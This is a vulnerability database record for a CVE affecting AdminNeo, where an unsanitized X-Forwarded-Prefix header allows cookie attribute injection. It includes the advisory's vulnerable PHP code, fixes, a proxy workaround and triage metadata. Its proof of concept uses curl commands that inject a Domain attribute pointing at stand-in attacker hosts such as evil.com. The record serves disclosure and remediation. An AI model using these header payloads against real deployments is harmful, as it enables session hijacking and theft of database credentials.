{"id":"CVE-2026-96631","kind":"vulnerability","aliases":["CVE-2026-96631","GHSA-79wv-8rh2-9vp2"],"related":[],"title":"AdminNeo has Cookie Attribute Injection via Unsanitized X-Forwarded-Prefix in Set-Cookie Headers","description":"### Summary\n\nAdminNeo versions 4.6.0 through at least 5.5.0 are vulnerable to cookie attribute injection via the `X-Forwarded-Prefix` HTTP header. An attacker who can influence this header (e.g., through a reverse proxy that forwards it from clients, an attacker-controlled upstream proxy, or a man-in-the-middle position) can inject arbitrary cookie attributes including `Domain`, `Path`, `Secure`, and `SameSite` into all `Set-Cookie` response headers emitted by AdminNeo.\n\nThis allows an attacker to expand the cookie scope to an attacker-controlled domain (e.g., `Domain=.evil.com`), causing the victim's browser to send AdminNeo's `neo_sid` (session ID) and `neo_key` (database password encryption key) cookies to the attacker's server on subsequent requests.\n\nOriginally reported by @retkoussa in Adminer: https://github.com/vrana/adminer/security/advisories/GHSA-c533-9qwm-8w5h\n\n### Vulnerable Code\n\n**Root cause 1 - Unsanitized header prepended to `REQUEST_URI`**\n(`admin/include/bootstrap.inc.php`, lines 50–52):\n\n```php\nif ($_SERVER[\"HTTP_X_FORWARDED_PREFIX\"]) {\n\t$_SERVER[\"REQUEST_URI\"] = $_SERVER[\"HTTP_X_FORWARDED_PREFIX\"] . $_SERVER[\"REQUEST_URI\"];\n}\n```\n\nThe client-supplied `X-Forwarded-Prefix` header is concatenated into `REQUEST_URI` with no validation or sanitization of special characters (specifically semicolons, which delimit cookie attributes).\n\n**Root cause 2 - Manual `Set-Cookie `header construction without escaping**\n(`admin/include/functions.inc.php`, lines 416–424):\n\n```php\nfunction cookie(string $name, string $value, int $lifetime = 2592000): void\n{\n\theader(\"Set-Cookie: $name=\" . rawurlencode($value)\n\t\t. ($lifetime ? \"; expires=\" . gmdate(\"D, d M Y H:i:s\", time() + $lifetime) . \" GMT\" : \"\")\n\t\t. \"; path=\" . preg_replace('~\\?.*~', '', $_SERVER[\"REQUEST_URI\"])\n\t\t. (HTTPS ? \"; secure\" : \"\")\n\t\t. \"; HttpOnly; SameSite=lax\",\n\t\tfalse);\n}\n```\n\nThe tainted `REQUEST_URI` is interpolated directly into the `path=` attribute of the `Set-Cookie` header. Since semicolons are not stripped or escaped, any `;`-separated directives injected via `X-Forwarded-Prefix` become valid cookie attributes parsed by the browser.\n\n**Root cause 3 - Session cookie also tainted**\n(`admin/include/bootstrap.inc.php`, line 61):\n\n```php\nsession_set_cookie_params(0, preg_replace('~\\?.*~', '', $_SERVER[\"REQUEST_URI\"]), \"\", HTTPS, true);\n```\n\nThe PHP session cookie (`neo_sid`) path is similarly derived from the tainted `REQUEST_URI`, extending the same vulnerability to the session cookie set by PHP itself.\n\n### Impact\n\n- **Session hijacking:** The `neo_sid` session cookie is sent to the attacker's domain, allowing full session takeover.\n- **Credential theft:** The `neo_key` cookie contains the key used to encrypt/decrypt database passwords stored in the session. With this key, an attacker can decrypt saved database credentials.\n- **Session fixation:** An attacker can inject arbitrary `Path`, `SameSite`, and `Secure` attributes, manipulating cookie behavior.\n- **Wide applicability:** The `X-Forwarded-Prefix` header was specifically added to support reverse proxy deployments (Traefik `PathPrefixStrip`, nginx, HAProxy). These are the exact environments where this header is forwarded from clients, making the vulnerability relevant in the deployments it was designed for.\n\n### Affected Cookies\n\n|**Cookie**|**Content**|**Risk**|\n|`neo_sid`|PHP session ID|Session hijacking|\n|`neo_key`|Encryption key for stored DB passwords|Credential theft|\n|`neo_settings`|User preferences|Low (information disclosure)|\n\n### Proof of Concept\n\n```shell\n# Normal request with clean Set-Cookie headerss:\ncurl -sI http://localhost:8080/adminneo/index.php | grep -i set-cookie\n> Response: Set-Cookie: neo_key=...; path=/adminneo/index.php; HttpOnly; SameSite=lax\n\n# Malicious request — inject Domain=.evil.com:\ncurl -sI -H \"X-Forwarded-Prefix: /adminneo; Domain=.evil.com\" \\\n  http://localhost:8080/adminneo/index.php | grep -i set-cookie\n> Response: Set-Cookie: neo_key=...; path=/adminneo; Domain=.evil.com/adminneo/index.php; HttpOnly; SameSite=lax\n#                                         ^^^^^^^^^^^^^^^^^^^^^^^^^^^ INJECTED\n\n# Full attribute override - inject Domain + SameSite=None:\ncurl -sI -H \"X-Forwarded-Prefix: /; Path=/; Domain=.attacker.com; SameSite=None\" \\\n  http://localhost:8080/adminneo/index.php | grep -i set-cookie\n> Response Set-Cookie: neo_key=...; path=/; Path=/; Domain=.attacker.com; SameSite=None/adminneo/index.php; ...\n```\n\n### Recommended Fix\n\n1. **Sanitize `X-Forwarded-Prefix`:** Strip or reject semicolons, newlines, and other HTTP header metacharacters from the `X-Forwarded-Prefix` value before using it.\n2. **Use `setcookie()` / `setrawcookie()`:** Replace the manual `header(\"Set-Cookie: ...\")` construction in `cookie()` with PHP's built-in `setcookie()` function, which properly escapes attribute values.\n3. **Validate `REQUEST_URI` before cookie use:** After any prefix manipulation, strip characters that are invalid in a cookie `path` attribute (`;`, `,`, whitespace per RFC 6265).\n\n```php\n// Example fix for bootstrap.inc.php:\nif ($_SERVER[\"HTTP_X_FORWARDED_PREFIX\"]) {\n    $prefix = preg_replace('~[;\\r\\n].*~', '', $_SERVER[\"HTTP_X_FORWARDED_PREFIX\"]);\n    $_SERVER[\"REQUEST_URI\"] = $prefix . $_SERVER[\"REQUEST_URI\"];\n}\n```\n\n### Server Based Workaround Via Config\n\nConfigure the reverse proxy to set `X-Forwarded-Prefix` to a static, trusted value rather than forwarding the client-supplied header:\n\n```nginx\n# nginx — secure configuration:\nfastcgi_param HTTP_X_FORWARDED_PREFIX /adminneo;  # static value, not $http_x_forwarded_prefix\n```\n\n```yaml\n# Traefik, use middleware instead of client headers:\nmiddlewares:\n  strip-prefix:\n    stripPrefix:\n      prefixes:\n        - \"/adminneo\"\n```","summary":"AdminNeo versions 4.6.0 through 5.5.0 build Set-Cookie headers from the client-supplied X-Forwarded-Prefix header without escaping semicolons. An attacker who can set that header can add Domain or other attributes, so a victim's browser sends the neo_sid session cookie and the neo_key database-encryption cookie to an attacker-controlled domain.","severity":"high","cvss":8.2,"epss":null,"exploited":false,"exploited_at":null,"products":[{"name":"adminneo-org/adminneo","fixed":["5.5.1"],"affected":">= 4.6.0, < 5.5.1","ecosystem":"composer"}],"ecosystems":["composer"],"tags":["adminneo","cwe-113","cwe-20","haproxy","nginx","package","php","reverse-proxy","self-hosted","traefik"],"not_affected_if":["no-reverse-proxy-forwarding","static-proxy-header","version-5.5.1-or-later"],"how_to_check":"- Check the AdminNeo version in `composer show adminneo-org/adminneo` and see whether it is `>= 4.6.0` and `< 5.5.1`.\n- Look for `$_SERVER[\"HTTP_X_FORWARDED_PREFIX\"]` in `admin/include/bootstrap.inc.php` and `header(\"Set-Cookie: ...\")` in `admin/include/functions.inc.php` to confirm the vulnerable code is present.\n- Check whether a reverse proxy (Traefik, nginx, HAProxy) forwards the X-Forwarded-Prefix header from clients to AdminNeo.","fix":"- `adminneo-org/adminneo` `5.5.1`","status":"open","published_at":"2026-10-30T22:52:47+00:00","first_seen_at":"2026-10-30T22:56:53+00:00","triaged_at":"2026-10-30T22:58:40+00:00","updated_at":"2026-10-30T22:58:40+00:00","category":"package","confidence":0.85,"triage":{"at":"2026-10-30T22:58:40Z","model":"claude-haiku-5-5","output":{"fix":"- `adminneo-org/adminneo` `5.5.1`","reach":"internet","title":"AdminNeo: X-Forwarded-Prefix header injects cookie attributes, exposing session cookies","impact":"high","summary":"AdminNeo versions 4.6.0 through 5.5.0 build Set-Cookie headers from the client-supplied X-Forwarded-Prefix header without escaping semicolons. An attacker who can set that header can add Domain or other attributes, so a victim's browser sends the neo_sid session cookie and the neo_key database-encryption cookie to an attacker-controlled domain.","audience":"businesses","category":"package","nicknames":[],"who_cares":["adminneo","php","reverse-proxy","traefik","nginx","haproxy","self-hosted"],"confidence":0.85,"fix_status":"available","needs_auth":"no","worst_case":"session takeover and decryption of saved database passwords","analyst_note":"","how_to_check":"- Check the AdminNeo version in `composer show adminneo-org/adminneo` and see whether it is `>= 4.6.0` and `< 5.5.1`.\n- Look for `$_SERVER[\"HTTP_X_FORWARDED_PREFIX\"]` in `admin/include/bootstrap.inc.php` and `header(\"Set-Cookie: ...\")` in `admin/include/functions.inc.php` to confirm the vulnerable code is present.\n- Check whether a reverse proxy (Traefik, nginx, HAProxy) forwards the X-Forwarded-Prefix header from clients to AdminNeo.","plain_action":"","needs_analyst":false,"not_affected_if":["version-5.5.1-or-later","static-proxy-header","no-reverse-proxy-forwarding"],"who_is_affected":"Deployments of AdminNeo in the affected range that can receive an X-Forwarded-Prefix header from clients, typically behind a reverse proxy that forwards it. The advisory says the header is set by Traefik PathPrefixStrip, nginx or HAProxy setups, so those are the systems to check. A deployment where the proxy sets the header to a static trusted value, as the advisory's workaround describes, is not exposed through the client header.","user_interaction":"yes","needs_special_setup":"yes","severity_if_unknown":"high"},"cost_usd":0.001077,"input_tokens":6734,"output_tokens":808,"severity_before":"high"},"analyst_status":null,"analyst_note":null,"search":"'-113':34B '-20':36B '-2026':18A,26A '-96631':19A,27A '/adminneo':31A,627C,644C '/adminneo/index.php':611C '/vrana/adminer/security/advisories/ghsa-c533-9qwm-8w5h':238C '0':414C '1':243C '2':302C '2592000':324C '3':401C '4.6.0':50B,112C '416':313C '424':314C '5.5.0':52B,116C '50':252C '52':253C '61':408C '79wv':22A '8080/adminneo/index.php':598C,631C '8rh2':23A '9vp2':24A 'add':79B,521C 'admin':235C 'admin/include/bootstrap.inc.php':250C,406C 'admin/include/functions.inc.php':311C 'adminneo':1A,29A,32B,48B,110C,182C,208C 'adminneo-org':28A 'affect':554C 'allow':184C,464C 'also':404C 'applic':512C 'arbitrari':164C,502C 'attack':72B,106B,132C,150C,186C,195C,224C,461C,490C,499C 'attacker-control':105B,149C,194C 'attribut':4A,83B,121C,166C,299C,368C,394C,507C 'becom':391C 'behavior':510C 'browser':88B,205C,398C 'build':53B 'caus':201C,242C,301C,400C 'charact':293C 'clean':590C 'client':61B,147C,274C,542C 'client-suppli':60B,273C 'code':240C 'concaten':282C 'concept':585C 'construct':308C 'contain':474C 'content':557C 'control':107B,151C,196C 'cooki':3A,15A,56B,94B,102B,120C,165C,177C,190C,221C,298C,306C,317C,329C,373C,393C,403C,412C,425C,444C,456C,473C,509C,555C,556C,593C,603C,607C,636C,640C 'credenti':468C,495C,574C 'curl':595C,620C 'cve':17A,25A 'cwe':33B,35B 'd':336C,337C 'databas':100B,217C,480C,494C 'database-encrypt':99B 'db':572C 'decrypt':492C 'delimit':297C 'deploy':526C,549C 'deriv':431C 'design':552C 'direct':364C,384C 'disclosur':582C 'domain':80B,108B,168C,197C,199C,463C,618C,628C,645C 'e.g':138C,198C 'emit':180C 'encrypt':101B,219C,568C 'encrypt/decrypt':479C 'environ':535C 'escap':69B,310C,381C 'evil.com':200C,619C,629C 'exact':534C 'expand':188C 'expir':334C 'extend':437C 'fals':357C 'fixat':497C 'forward':10A,65B,127C,144C,259C,267C,278C,389C,516C,540C,625C 'full':465C 'function':316C 'ghsa':21A 'ghsa-79wv-8rh2-9vp2':20A 'github.com':237C 'github.com/vrana/adminer/security/advisories/ghsa-c533-9qwm-8w5h':236C 'gmdate':335C 'gmt':345C 'grep':599C,632C 'h':340C,622C 'haproxi':37B,530C 'header':16A,57B,67B,77B,130C,137C,179C,245C,280C,307C,326C,374C,518C,538C 'headerss':594C 'hijack':451C,565C 'host':46B 'http':129C,257C,265C 'httpon':354C,612C 'https':352C,420C 'id':213C,563C 'impact':449C 'includ':167C 'influenc':135C 'inform':581C 'inject':5A,122C,163C,385C,501C,617C 'int':322C 'interpol':363C 'key':98B,216C,220C,472C,476C,488C,567C,569C,609C,642C 'lax':356C,614C 'least':115C 'lifetim':323C,333C,344C 'line':251C,312C,407C 'localhost':597C,630C 'low':580C 'm':338C 'make':543C 'malici':615C 'man':157C 'man-in-the-middl':156C 'manipul':508C 'manual':303C 'middl':160C 'name':319C,330C 'neo':91B,97B,210C,215C,426C,453C,471C,559C,566C,576C,608C,641C 'nginx':38B,529C 'normal':587C 'org':30A 'origin':230C 'packag':39B 'param':413C 'pars':395C 'password':218C,481C,573C 'path':169C,346C,367C,428C,503C,610C,643C 'pathprefixstrip':528C 'php':40B,254C,315C,409C,423C,447C,561C 'posit':161C 'prefer':579C 'prefix':11A,66B,128C,260C,268C,279C,390C,517C,626C 'preg':347C,415C 'prepend':246C 'proof':583C 'proxi':43B,142C,153C,525C 'rawurlencod':331C 'relev':546C 'replac':348C,416C 'report':231C 'request':229C,248C,262C,270C,284C,350C,360C,418C,435C,588C,616C 'respons':178C,604C,637C 'retkoussa':233C 'revers':42B,141C,524C 'reverse-proxi':41B 'risk':558C 'root':241C,300C,399C 'samesit':172C,355C,504C,613C 'sanit':290C 'save':493C 'scope':191C 'secur':170C,353C,506C 'self':45B 'self-host':44B 'semicolon':70B,295C,376C 'send':89B,207C 'sent':458C 'separ':383C 'server':226C,256C,261C,264C,269C,349C,417C 'session':93B,212C,402C,410C,424C,443C,450C,455C,466C,485C,496C,562C,564C 'set':14A,55B,75B,176C,305C,328C,372C,411C,445C,577C,592C,602C,606C,635C,639C 'set-cooki':13A,54B,175C,304C,327C,371C,591C,601C,605C,634C,638C 'shell':586C 'si':596C,621C 'sid':92B,211C,427C,454C,560C 'similar':430C 'sinc':375C 'special':292C 'specif':294C,520C 'store':482C,571C 'string':318C,320C 'strip':379C 'subsequ':228C 'summari':109C 'suppli':62B,275C 'support':523C 'taint':359C,405C,434C 'takeov':467C 'theft':469C,575C 'time':343C 'traefik':47B,527C 'true':421C 'unsanit':7A,244C 'upstream':152C 'uri':249C,263C,271C,285C,351C,361C,419C,436C 'use':477C 'user':578C 'valid':288C,392C 'valu':321C,332C 'version':49B,111C 'via':6A,123C,386C 'victim':86B,203C 'void':325C 'vulner':118C,239C,440C,545C 'wide':511C 'without':68B,309C 'x':9A,64B,126C,258C,266C,277C,388C,515C,624C 'x-forwarded-prefix':8A,63B,125C,276C,387C,514C,623C 'y':339C","nicknames":[],"mitigations":[],"who_affected":"Deployments of AdminNeo in the affected range that can receive an X-Forwarded-Prefix header from clients, typically behind a reverse proxy that forwards it. The advisory says the header is set by Traefik PathPrefixStrip, nginx or HAProxy setups, so those are the systems to check. A deployment where the proxy sets the header to a static trusted value, as the advisory's workaround describes, is not exposed through the client header.","tier":"B","verified":{},"analyst_revisit_at":null,"fix_status":"available","audience":"businesses","plain_action":null,"first_public_at":"2026-10-30T22:52:47+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-79wv-8rh2-9vp2","url":"https://github.com/advisories/GHSA-79wv-8rh2-9vp2","severity":"high","published_at":"2026-10-30T22:52:47+00:00","modified_at":"2026-10-30T22:52:48+00:00","first_seen_at":"2026-10-30T22:56:53+00:00","fetched_at":"2026-10-30T22:56:53+00:00","note":null}],"documents":[{"id":26533,"url":"https://api.github.com/repos/adminneo-org/adminneo/security-advisories/GHSA-79wv-8rh2-9vp2","title":"Maintainer's advisory: api.github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: api.github.com"},{"id":26534,"url":"https://github.com/adminneo-org/adminneo/security/advisories/GHSA-79wv-8rh2-9vp2","title":"Maintainer's advisory: github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: github.com"},{"id":26535,"url":"https://github.com/adminneo-org/adminneo/commit/aa6f2544a8a65cf5e8317f1a902f74181e136d64","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":26394,"url":"https://github.com/adminneo-org/adminneo/releases/tag/v5.5.1","title":"Release: github.com","kind":"release","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Release: github.com"}],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}